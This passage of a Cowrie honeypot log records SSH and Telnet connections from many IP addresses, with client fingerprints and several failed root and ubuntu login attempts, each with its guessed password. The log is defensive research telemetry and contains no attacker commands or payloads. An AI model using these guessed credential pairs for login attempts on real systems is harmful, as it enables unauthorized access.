{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":42258,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2d49799fe9e","protocol":"ssh","message":"New connection: 103.75.183.219:42258 (10.17.0.5:22) [session: f2d49799fe9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:26.924403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:26.929862Z","src_ip":"103.75.183.219","session":"f2d49799fe9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:27.174558Z","src_ip":"103.75.183.219","session":"f2d49799fe9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":45406,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6ed60b9e52","protocol":"ssh","message":"New connection: 165.154.23.26:45406 (159.203.135.109:22) [session: 6b6ed60b9e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:27.278980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:27.285825Z","src_ip":"165.154.23.26","session":"6b6ed60b9e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:27.504264Z","src_ip":"165.154.23.26","session":"6b6ed60b9e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.54772138595581,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:27.584610Z","src_ip":"192.119.13.58","session":"f94985c539c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sandra","message":"login attempt [root/sandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:27.913059Z","src_ip":"103.75.183.219","session":"f2d49799fe9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gns3","message":"login attempt [root/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:28.406626Z","src_ip":"165.154.23.26","session":"6b6ed60b9e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:29.160405Z","src_ip":"103.75.183.219","session":"f2d49799fe9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:29.630646Z","src_ip":"165.154.23.26","session":"6b6ed60b9e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47064,"dst_ip":"10.17.0.5","dst_port":23,"session":"995f0a030a63","protocol":"telnet","message":"New connection: 192.119.13.58:47064 (10.17.0.5:23) [session: 995f0a030a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:29.678459Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":49176,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cbe93cd15ae","protocol":"ssh","message":"New connection: 103.173.227.57:49176 (10.17.0.5:22) [session: 3cbe93cd15ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:30.623027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:30.628880Z","src_ip":"103.173.227.57","session":"3cbe93cd15ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:30.881242Z","src_ip":"103.173.227.57","session":"3cbe93cd15ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerasdzx","message":"login attempt [root/qwerasdzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:31.599197Z","src_ip":"103.173.227.57","session":"3cbe93cd15ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.62952184677124,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:31.957186Z","src_ip":"192.119.13.58","session":"a5d8e0c73f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:32.841182Z","src_ip":"103.173.227.57","session":"3cbe93cd15ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46126,"dst_ip":"10.17.0.5","dst_port":22,"session":"a45207fc98a5","protocol":"ssh","message":"New connection: 147.45.199.80:46126 (10.17.0.5:22) [session: a45207fc98a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:33.856035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:33.862180Z","src_ip":"147.45.199.80","session":"a45207fc98a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35204,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e271bf9d23e","protocol":"telnet","message":"New connection: 192.119.13.58:35204 (10.17.0.5:23) [session: 9e271bf9d23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:33.881630Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:33.958261Z","src_ip":"147.45.199.80","session":"a45207fc98a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eclipse","message":"login attempt [root/eclipse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:34.247003Z","src_ip":"147.45.199.80","session":"a45207fc98a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.65910196304321,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:35.204484Z","src_ip":"192.119.13.58","session":"e026759f57b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:35.344536Z","src_ip":"147.45.199.80","session":"a45207fc98a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":41338,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b3522ea4259","protocol":"ssh","message":"New connection: 207.56.225.202:41338 (159.203.135.109:22) [session: 1b3522ea4259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:37.195889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:37.201779Z","src_ip":"207.56.225.202","session":"1b3522ea4259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:37.369478Z","src_ip":"207.56.225.202","session":"1b3522ea4259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hui123","message":"login attempt [root/hui123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:38.052612Z","src_ip":"207.56.225.202","session":"1b3522ea4259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:39.219194Z","src_ip":"207.56.225.202","session":"1b3522ea4259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.72934889793396,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:40.555617Z","src_ip":"192.119.13.58","session":"9339ae5e5fe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41430,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab8f53ad6269","protocol":"telnet","message":"New connection: 192.119.13.58:41430 (10.17.0.5:23) [session: ab8f53ad6269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:42.750806Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48496,"dst_ip":"10.17.0.5","dst_port":22,"session":"478127af578f","protocol":"ssh","message":"New connection: 80.94.92.184:48496 (10.17.0.5:22) [session: 478127af578f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:43.583260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:43.624555Z","src_ip":"80.94.92.184","session":"478127af578f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:43.773443Z","src_ip":"80.94.92.184","session":"478127af578f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:44.475626Z","src_ip":"80.94.92.184","session":"478127af578f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:45.598510Z","src_ip":"80.94.92.184","session":"478127af578f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":55842,"dst_ip":"10.17.0.5","dst_port":22,"session":"13409ce84dc0","protocol":"ssh","message":"New connection: 43.135.177.217:55842 (10.17.0.5:22) [session: 13409ce84dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:46.267721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:46.273127Z","src_ip":"43.135.177.217","session":"13409ce84dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:46.342125Z","src_ip":"43.135.177.217","session":"13409ce84dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWE@123","message":"login attempt [root/QWE@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:46.647534Z","src_ip":"43.135.177.217","session":"13409ce84dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:47.719096Z","src_ip":"43.135.177.217","session":"13409ce84dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48608,"dst_ip":"10.17.0.5","dst_port":23,"session":"8169198ff9be","protocol":"telnet","message":"New connection: 192.119.13.58:48608 (10.17.0.5:23) [session: 8169198ff9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:51.610497Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":37050,"dst_ip":"159.203.135.109","dst_port":22,"session":"41e9b0d980d7","protocol":"ssh","message":"New connection: 37.143.61.84:37050 (159.203.135.109:22) [session: 41e9b0d980d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:57.632482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:57.638019Z","src_ip":"37.143.61.84","session":"41e9b0d980d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 